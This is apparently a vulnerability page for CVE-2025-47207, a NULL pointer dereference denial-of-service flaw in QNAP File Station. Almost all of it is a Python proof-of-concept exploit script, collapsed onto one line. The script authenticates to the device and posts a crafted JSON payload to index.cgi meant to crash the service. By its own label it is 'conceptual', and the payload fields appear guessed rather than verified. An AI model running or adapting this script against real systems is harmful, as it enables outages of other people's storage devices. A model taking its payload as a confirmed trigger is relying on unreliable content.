CVE-2025-47207 QNAP File Station空指针解引用拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-47207 PoC - QNAP File Station NULL Pointer Dereference DoS # Note: This is a conceptual PoC. Actual exploitation requires valid credentials. import requests import sys def check_version(target_url): """Check if target is vulnerable by identifying version""" try: response = requests.get(f"{target_url}/cgi-bin/filestation/index.cgi", timeout=10) return response.status_code except requests.RequestException as e: print(f"Error: {e}") return None def exploit_dos(target_url, username, password): """ Trigger NULL pointer dereference by sending malformed request. Requires valid authentication credentials. """ login_url = f"{target_url}/cgi-bin/filestation/auth.cgi" dos_payload = { "app": "FileStation", "service": "file_transfer", "method": "get_file_list", "path": "/", "opt": "null" } # Step 1: Authenticate with valid credentials session = requests.Session() auth_data = { "username": username, "password": password } try: auth_response = session.post(login_url, data=auth_data, timeout=10) if auth_response.status_code == 200: # Step 2: Send DoS trigger payload dos_response = session.post( f"{target_url}/cgi-bin/filestation/index.cgi", json=dos_payload, timeout=10 ) return dos_response.status_code except requests.RequestException: return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve_2025_47207_poc.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing CVE-2025-47207 on {target}") status = exploit_dos(target, user, pwd) if status: print(f"[+] Request sent, status code: {status}")